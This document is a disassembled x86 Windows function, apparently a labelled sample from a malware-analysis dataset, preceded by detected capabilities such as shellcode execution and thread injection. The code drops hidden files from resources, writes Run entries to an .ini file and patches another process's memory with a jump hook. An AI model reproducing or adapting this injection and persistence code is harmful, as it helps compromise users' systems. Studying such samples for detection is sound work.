Function at 0x405b50
Capabilities:
Allocate or change rwx memory
Check if file exists
Check mutex on windows
Copy file
Create thread
Delete file
Enumerate gui resources
Execute shellcode via indirect call
Execute shellcode via windows callback function
Inject thread
Print debug messages
Read .ini file
Resolve function by parsing pe exports
Set file attributes
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xd4
mov eax, dword [0x41913c]
xor eax, esp
mov dword [esp + 0xd0], eax
push ebx
push esi
mov esi, dword [ebp + 0x10]
push edi
push str.4578cdsbb7b
push 0
push 0
mov dword [esp + 0x30], esi
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x40675e
test edi, edi
je 0x40675e
mov eax, dword [0x419fac]
mov edx, dword [eax + 0xc]
mov ecx, 0x419fac
call edx
mov ebx, eax
lea eax, [esp + 0x38]
add ebx, 0x10
push eax
mov ecx, esi
mov dword [esp + 0x14], ebx
call fcn.00404290
mov edx, dword [0x419fac]
mov eax, dword [edx + 0xc]
mov ecx, 0x419fac
call eax
mov edx, dword [0x419fac]
add eax, 0x10
mov dword [esp + 0x1c], eax
mov eax, dword [edx + 0xc]
mov ecx, 0x419fac
call eax
mov edx, dword [0x419fac]
add eax, 0x10
mov dword [esp + 0x18], eax
mov eax, dword [edx + 0xc]
mov ecx, 0x419fac
call eax
mov edx, dword [0x419fac]
mov edi, eax
mov eax, dword [edx + 0xc]
add edi, 0x10
mov ecx, 0x419fac
mov dword [esp + 0x34], edi
call eax
mov esi, eax
mov eax, dword [esp + 0x38]
add esi, 0x10
cmp dword [eax - 0xc], 1
mov dword [esp + 0x14], esi
jl 0x40668e
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x40668e
mov eax, dword [esp + 0x38]
call fcn.00402650
mov edx, dword [ebx - 8]
mov ecx, 1
sub ecx, dword [ebx - 4]
sub edx, 0x104
or ecx, edx
jge 0x405c6f
mov ecx, 0x104
lea eax, [esp + 0x10]
call fcn.004021d0
mov ebx, dword [esp + 0x10]
push 0x104
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea esi, [esp + 0x10]
call fcn.00404690
push 0x5c
push ebx
call fcn.0040816b
add esp, 8
test eax, eax
jne 0x405c9a
or esi, 0xffffffff
jmp 0x405ca0
sub eax, ebx
sar eax, 1
mov esi, eax
mov eax, dword [ebx - 0xc]
lea ecx, [esp + 0x10]
sub eax, esi
push ecx
dec eax
lea ecx, [esp + 0x30]
call fcn.00406e00
lea edi, [esp + 0x34]
call fcn.00404340
mov eax, dword [esp + 0x2c]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x405cdd
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [esp + 0x34]
push ecx
call fcn.00406b90
mov eax, dword [ebx - 0xc]
lea edx, [esp + 0x10]
sub eax, esi
push edx
mov ecx, esi
call fcn.00406ae0
mov eax, dword [esp + 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
push eax
call esi
push 0x41634c
call esi
lea esi, [esp + 0x10]
call fcn.00405460
mov ecx, dword [0x41ac18]
mov edx, dword [0x41ac1c]
xor esi, esi
lea eax, [esp + 0x4c]
mov dword [esp + 0x54], esi
mov dword [esp + 0x58], esi
mov dword [esp + 0x4c], ecx
mov dword [esp + 0x50], edx
call section..text
lea eax, [esp + 0x4c]
push eax
lea ecx, [esp + 0x14]
call fcn.00401060
mov ecx, dword [0x41ac28]
push 0x41ac48
push ecx
lea edx, [esp + 0x78]
push edx
call fcn.00402830
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x74]
push ecx
call fcn.00402a10
test eax, eax
jne 0x405d79
mov dword [0x41ac38], esi
push 0xffffffffffffffff
xor ecx, ecx
lea edx, [esp + 0x74]
call fcn.00403040
mov eax, dword [esp + 0x18]
mov ecx, dword [eax - 8]
mov edx, 1
sub edx, dword [eax - 4]
sub ecx, 0x104
or edx, ecx
jge 0x405db1
mov ecx, 0x104
lea eax, [esp + 0x18]
call fcn.004021d0
mov eax, dword [esp + 0x18]
push eax
call dword [0x41ac00]
lea esi, [esp + 0x18]
call fcn.00404690
mov edx, esi
push edx
mov eax, 4
call fcn.00407060
mov ebx, dword [esp + 0x18]
lea eax, [esp + 0x14]
call fcn.00401c10
mov edi, dword [esp + 0x10]
mov ebx, edi
lea eax, [esp + 0x1c]
call fcn.00401c10
push 0x416988
lea eax, [esp + 0x20]
push eax
mov eax, 1
call fcn.00406fa0
mov eax, dword [esp + 0x14]
push eax
mov eax, dword [eax - 0xc]
lea ecx, [esp + 0x20]
push ecx
call fcn.00406fa0
push 0x41698c
push 0x83
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, dword [esp + 0x1c]
test eax, eax
je 0x405e33
push esi
call fcn.004025e0
add esp, 4
push 2
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x416990
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.32ex.exe
push 0x4169a8
lea edx, [esp + 0x1c]
push edx
mov dword [esp + 0x2c], eax
call fcn.00406800
mov ebx, dword [esp + 0x14]
lea eax, [esp + 0x18]
call fcn.00406a60
cmp dword [edi - 4], 1
jle 0x405e8c
mov eax, dword [edi - 0xc]
push eax
lea ecx, [esp + 0x14]
push ecx
call fcn.00402220
mov edi, dword [esp + 0x10]
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x40]
push 0x4169b4
push eax
lea ecx, [esp + 0x1c]
call fcn.00404520
push eax
lea ecx, [esp + 0x54]
push ecx
mov ebx, 0x4169b0
call fcn.00404440
lea edx, [esp + 0x3c]
add esp, 0x10
push edx
mov ebx, eax
call fcn.00406e80
mov esi, eax
mov eax, dword [esi]
sub eax, 0x10
add esp, 8
cmp dword [eax + 0xc], 1
jle 0x405edd
mov eax, dword [eax + 4]
push eax
push esi
call fcn.00402220
mov ecx, dword [esi]
lea edx, [esp + 0x34]
push edx
lea eax, [esp + 0x14]
mov dword [esp + 0x30], ecx
push eax
lea ecx, [esp + 0x38]
push ecx
mov ebx, 0x4169b0
call fcn.00404440
lea edx, [esp + 0x4c]
add esp, 8
push edx
mov ebx, eax
call fcn.00406e80
mov esi, eax
mov eax, dword [esi]
sub eax, 0x10
add esp, 8
cmp dword [eax + 0xc], 1
jle 0x405f25
mov eax, dword [eax + 4]
push eax
push esi
call fcn.00402220
mov ecx, dword [esp + 0x2c]
mov edx, dword [esi]
push edi
push ecx
push edx
call fcn.00406780
mov eax, dword [esp + 0x4c]
add eax, 0xfffffff0
add esp, 0xc
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x405f56
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x30]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x405f76
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x28]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x405f96
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x44]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x405fb6
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x3c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x405fd6
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push 0x4169b8
push 0x4169a8
lea ecx, [esp + 0x24]
push ecx
call fcn.00406800
mov ebx, dword [esp + 0x1c]
lea eax, [esp + 0x38]
call fcn.00406a60
mov edx, dword [esp + 0x38]
mov eax, dword [esp + 0x24]
push 0
push edx
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push str.32.dll
push 0x4169b8
lea ecx, [esp + 0x24]
push ecx
call fcn.00406800
push str.32.dll
push str.32ex.exe
lea edx, [esp + 0x1c]
push edx
call fcn.00406800
mov ebx, dword [esp + 0x14]
lea eax, [esp + 0x18]
call fcn.00406a60
lea eax, [esp + 0x1c]
lea ebx, [esp + 0x14]
call fcn.004019c0
push 0x4169c8
push 0x84
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, dword [esp + 0x14]
cmp eax, ebx
je 0x40606f
push edi
call fcn.004025e0
add esp, 4
push 2
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x4169cc
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov esi, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
push 0x4169cc
push 0x415ec8
push 0x4169e0
push 0x415d20
call esi
push 2
push 0x4169cc
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
cmp dword [0x41ac20], ebx
jne 0x406144
push 0x4169cc
push 0x415ebc
push str.Run0
push 0x415d20
call esi
mov eax, dword [0x41ac08]
cmp eax, ebx
je 0x4060d9
call eax
cmp dword [esp + 0x20], ebx
je 0x406115
push 0x4169cc
push 0x415ebc
push str.Run1
push 0x415d20
call esi
mov eax, dword [0x41ac24]
push 0x403fe0
push eax
lea esi, [esp + 0x1c]
call fcn.00401bb0
push eax
call dword [esp + 0x2c]
mov edi, dword [esp + 0x20]
add esp, 0xc
cmp dword [0x41ac38], ebx
je 0x406144
push edi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x416a00
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x406144
mov ecx, dword [esp + 0x24]
push 0x403fe0
push ecx
push ebx
call eax
add esp, 0xc
mov esi, dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
push str.LoadLibrary
call esi
push 0x41634c
call esi
push ebx
push ebx
lea edx, [esp + 0x78]
push edx
push 0x403500
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea eax, [esp + 0x34]
push eax
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x38]
mov byte [esp + 0xcc], bl
mov byte [esp + 0xcd], bl
mov byte [esp + 0xce], bl
mov byte [esp + 0xcf], bl
mov byte [esp + 0xd0], bl
mov dword [esp + 0x50], ebx
mov dword [esp + 0x74], ebx
mov dword [esp + 0x48], ebx
push edx
mov ebx, 0x4169b0
call fcn.00404440
lea ecx, [esp + 0x48]
add esp, 8
push ecx
mov ebx, eax
call fcn.00406e80
mov eax, dword [eax]
add esp, 8
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x3c]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x4061f3
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x30]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x406213
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea edi, [esp + 0x14]
call fcn.00406a00
lea edi, [esp + 0x18]
call fcn.00406da0
xor esi, esi
push esi
push 0x405960
mov dword [esp + 0x28], esi
mov dword [esp + 0x38], esi
call dword [sym.imp.USER32.dll_EnumWindows]
mov edi, dword [esp + 0x58]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, 0x3a980
jae 0x40627e
mov eax, 0x2aaaaaab
imul esi
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [eax + eax*2]
add ecx, ecx
add ecx, ecx
sub esi, ecx
jne 0x4062a0
push esi
push 0x405960
call dword [sym.imp.USER32.dll_EnumWindows]
lea esi, [esp + 0x4c]
call fcn.00401760
jmp 0x4062a0
cmp dword [esp + 0x30], 0
jne 0x4062a0
mov dword [esp + 0x30], 1
test edi, edi
je 0x4062a0
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esp + 0x58], 0
cmp dword [0x41ac38], 0
je 0x4065e5
call fcn.004027d0
mov edi, eax
cmp edi, 4
jbe 0x4065e5
xor eax, eax
cmp dword [esp + 0x40], eax
jne 0x406431
push edi
lea edx, [esp + 0x28]
mov dword [esp + 0x2c], eax
mov dword [esp + 0x28], eax
push edx
lea eax, [esp + 0x30]
push eax
push str.ieres.dll
call dword [0x41abcc]
test eax, eax
je 0x406431
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x40]
push edx
mov ebx, 0x415e50
mov dword [esp + 0x48], 1
call fcn.00404440
mov eax, dword [eax]
mov ebx, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
add esp, 8
push eax
push 0x415ebc
push 0x416a38
push 0x415d20
call ebx
lea eax, [esp + 0x3c]
call fcn.004019a0
push 0x416a40
push 0x416a54
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esp + 0x64], eax
test eax, eax
je 0x406664
push edi
push 1
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
xor eax, eax
cmp esi, eax
jne 0x406376
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x406664
mov ecx, dword [esp + 0x24]
push ecx
mov byte [esp + 0xd2], al
mov byte [esp + 0xd3], al
mov byte [esp + 0xd4], al
mov byte [esp + 0xd5], al
mov al, 0xcc
push 4
lea edx, [esp + 0x6c]
mov byte [esp + 0x4c], al
mov byte [esp + 0x24], al
mov eax, dword [esp + 0x30]
push edx
push eax
push esi
mov byte [esp + 0xe0], 0xff
mov byte [esp + 0xe1], 0x15
mov byte [esp + 0x59], 0xc3
mov byte [esp + 0x31], 0x55
call dword [0x41abf0]
mov edx, dword [esp + 0x24]
lea ecx, [esp + 0x48]
push ecx
push 0x40
mov dword [esp + 0xd6], eax
mov eax, dword [esp + 0x30]
push edx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x4063fd
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x406664
push 2
lea ecx, [esp + 0x48]
push ecx
mov ecx, dword [esp + 0x2c]
push 2
lea edx, [esp + 0x28]
push edx
push 6
lea eax, [esp + 0xe0]
push eax
mov eax, dword [esp + 0x40]
add ecx, eax
push ecx
push eax
push esi
call dword [0x41abe4]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x406437
mov ebx, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
cmp dword [0x41abcc], 0
je 0x4065d3
cmp dword [0x41abc8], 0
je 0x4064bc
push 0x4169cc
push 0x415ebc
push str.Run2
push 0x415d20
call ebx
push 0x4169cc
push 0x415ebc
push 0x4169e0
push 0x415d20
call ebx
push edi
push 0
push 0
lea esi, [esp + 0x24]
call fcn.00404670
push eax
call dword [0x41abcc]
test eax, eax
jne 0x4064bc
lea esi, [esp + 0x14]
cmp dword [0x41ac40], eax
jne 0x4064a2
push eax
push eax
jmp 0x4064af
mov edx, dword [0x41ac10]
mov eax, dword [0x41ac14]
push edx
push eax
push edi
call fcn.00401bb0
push eax
call dword [0x41abc8]
cmp dword [0x41ac3c], 0
je 0x4065d3
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x6c]
push edx
mov ebx, 0x415e50
call fcn.00404440
mov eax, dword [eax]
add esp, 8
push eax
push 0
push 0x416a70
push 0x415e74
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
mov esi, eax
lea eax, [esp + 0x68]
call fcn.004019a0
test esi, esi
jbe 0x4065d3
push edi
push 1
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
jne 0x406530
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x406664
push 0x416a7c
push 0x416a54
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
lea eax, [esp + 0x48]
push eax
push 0x40
push 5
sub esi, ebx
push ebx
sub esi, 5
push edi
mov byte [esp + 0xd8], 0xe9
mov dword [esp + 0xd9], esi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x40657e
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x406664
lea ecx, [esp + 0x48]
push ecx
push 5
lea edx, [esp + 0xdc]
push edx
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [esp + 0xd4]
cmp eax, dword [esp + 0xc4]
jne 0x4065b5
mov cl, byte [esp + 0xc8]
cmp cl, byte [esp + 0xd8]
je 0x4065cc
lea edx, [esp + 0x48]
push edx
push 5
lea eax, [esp + 0xcc]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [0x41ac30], 0
je 0x4065e5
lea ebx, [esp + 0x6c]
call fcn.004023d0
cmp dword [esp + 0x2c], 0
jne 0x406664
lea ecx, [esp + 0x34]
push ecx
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x68]
push eax
mov ebx, 0x4169b0
call fcn.00404440
lea ecx, [esp + 0x68]
add esp, 8
push ecx
mov ebx, eax
call fcn.00406e80
mov eax, dword [eax]
add esp, 8
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x5c]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x406644
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x60]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x406664
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x20]
inc eax
cmp eax, 0xc
mov dword [esp + 0x20], eax
jle 0x40667a
mov dword [esp + 0x20], 0
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [esp + 0x20]
jmp 0x40623b
lea eax, [esi - 0x10]
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4066aa
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea eax, [edi - 0x10]
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4066c6
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4066e6
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x406706
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x38]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x406726
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
add ebx, 0xfffffff0
lea ecx, [ebx + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x406742
mov ecx, dword [ebx]
mov eax, dword [ecx]
mov edx, dword [eax + 4]
push ebx
call edx
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xd0]
xor ecx, esp
call fcn.00407684
mov esp, ebp
pop ebp
ret 0x10
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0xdc]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.00407684
mov esp, ebp
pop ebp
ret 0x10